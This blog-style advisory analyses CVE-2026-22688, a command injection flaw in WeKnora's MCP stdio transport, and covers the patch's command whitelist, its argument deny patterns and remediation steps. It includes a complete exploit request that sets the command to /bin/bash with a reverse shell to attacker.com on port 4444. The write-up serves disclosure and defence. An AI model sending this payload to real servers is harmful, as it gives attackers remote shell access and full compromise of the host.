Feb 23, 2026·6 min read·16 visits
Authenticated users can define MCP services using the 'stdio' transport. The application passes the user-defined command and arguments directly to the system shell without sanitization. An attacker can create a service configuration that executes '/bin/bash' (or any other binary), triggering immediate RCE when the service is tested or run.
In the race to build the ultimate LLM framework, Tencent's WeKnora forgot the first rule of web security: never trust the user to define how to execute a process. CVE-2026-22688 is a critical Command Injection vulnerability residing in the Model Context Protocol (MCP) implementation. By abusing the 'stdio' transport configuration—designed to let the LLM talk to local tools—an authenticated attacker can instruct the server to spawn arbitrary shell commands. It turns a feature designed for semantic retrieval into a direct pipeline for remote code execution.
We are living in the golden age of LLM agents—software that doesn't just talk, but does. WeKnora is one such framework, designed to orchestrate deep document understanding by connecting Large Language Models to external tools. To do this, it implements the Model Context Protocol (MCP). Think of MCP as a USB standard for AI; it lets the brain (LLM) plug into peripherals (databases, local files, scripts).
One of the transport layers for MCP is stdio (Standard Input/Output). The idea is simple: the WeKnora server spawns a subprocess (like a Python script), writes JSON to its stdin, and reads the response from stdout. It’s efficient, it’s standard, and in this case, it was a loaded gun left on the kitchen table.
To make WeKnora flexible, the developers allowed users to configure these services via the UI/API. You, the user, tell WeKnora: "Hey, run python script.py for me." The problem? They didn't put any guardrails on what you could ask them to run. They essentially built a "Remote Shell as a Service" feature and labeled it "Model Configuration."
The vulnerability (CVE-2026-22688) is a classic failure to respect trust boundaries. The application treats the MCP service configuration as trusted administrative data, even though it can be modified by any authenticated user with permissions to create services.
When a user creates a service, they send a JSON payload containing a stdio_config object. This object holds a command, an array of args, and env_vars. These are stored in the database without scrutiny.
The catastrophe happens in the execution sink. When the user hits the "Test Service" endpoint (e.g., /:id/test), WeKnora retrieves that configuration and feeds it directly into Go's os/exec library (via the mcp-go wrapper). It doesn't check if the command is a safe binary. It doesn't check if the arguments contain shell operators. It just dutifully executes whatever it is told to execute.
> [!NOTE]
> The Irony of 'stdio'
> The stdio transport is inherently risky in web applications because it involves process spawning. Unlike HTTP or WebSocket transports, which speak network protocols, stdio speaks operating system. If you mess up the implementation, you aren't just leaking data; you are handing over the keys to the server.
Let's look at the smoking gun. Prior to version 0.2.5, the code blindly accepted the inputs. The patch, specifically commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb, introduces a massive reality check.
The developers realized they couldn't just allow any command. The fix introduces a strict whitelist approach for the binary, and a blacklist approach for the arguments.
The Vulnerable Logic (Conceptual):
// BEFORE: Blindly trusting the config
cmd := exec.Command(config.Command, config.Args...)
cmd.Env = config.EnvVars
if err := cmd.Start(); err != nil {
return err
}The Fix (Analysis):
In internal/utils/security.go, a new validation function ValidateStdioConfig was added. It changes the game entirely:
/bin/bash or python. You are restricted to specific package runners: uvx (for Python) and npx (for Node). This forces the attacker to work within the constraints of these tools (though they are powerful tools).DangerousArgPatterns) to catch shell metacharacters.// AFTER: ValidateStdioConfig
var AllowedStdioCommands = map[string]bool{
"uvx": true,
"npx": true,
}
// Regex to block dangerous characters
var DangerousArgPatterns = []*regexp.Regexp{
regexp.MustCompile(`[;&|><$]`), // Shell operators
regexp.MustCompile(`^/`), // Absolute paths
regexp.MustCompile(`\.\.`), // Path traversal
}This is a significant hardening. By forcing the use of uvx or npx, they limit the scope. However, npx itself is quite powerful (it downloads and executes code), so the security now relies heavily on the DangerousArgPatterns effectively preventing argument injection into npx.
Exploiting this on a version prior to 0.2.5 is trivial if you have credentials. The barrier to entry is low—you just need a valid user account. The attack chain looks like this:
The Payload:
POST /api/v1/mcp/services HTTP/1.1
Content-Type: application/json
Authorization: Bearer <JWT>
{
"name": "PwnService",
"transport_type": "stdio",
"stdio_config": {
"command": "/bin/bash",
"args": [
"-c",
"bash -i >& /dev/tcp/attacker.com/4444 0>&1"
],
"env_vars": {}
}
}GET /api/v1/mcp/services/{service_id}/test HTTP/1.1PwnService, sees the command /bin/bash with our reverse shell arguments, and passes it to exec.Command. The server connects back to our listener. We are in.This is a CVSS 9.9/10.0 for a reason. It is not just about modifying data; it is about total infrastructure compromise. WeKnora is likely deployed in environments with access to sensitive data lakes, vector databases, and expensive LLM API keys.
Potential Fallout:
The fact that this vulnerability requires authentication (PR:L) is the only thing keeping it from being a catastrophic internet-wide worm. However, in corporate environments, "authenticated user" often includes contractors, interns, or compromised employee accounts.
If you are running WeKnora < 0.2.5, you are exposed. The primary fix is to upgrade immediately.
Remediation Steps:
v0.2.5).stdio_config entries. If you find a service trying to run /bin/sh, curl, or wget, you have likely already been compromised.For Developers:
The lesson here is clear: Never allow users to specify the executable path in exec.Command. If you must support user-defined scripts, run them inside a strictly isolated sandbox (like a WASM runtime or a dedicated ephemeral container) where the damage potential is contained.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
WeKnora Tencent | < 0.2.5 | 0.2.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-77 (Command Injection) |
| CVSS v3.1 | 9.9 (Critical) |
| Attack Vector | Network (Authenticated) |
| EPSS Score | 0.00343 (Low but Rising) |
| Patch Commit | f7900a5e9a18c99d25cec9589ead9e4e59ce04bb |
| Exploit Status | PoC Available |
Improper neutralization of special elements used in a command ('Command Injection') allows attackers to execute arbitrary commands on the host OS.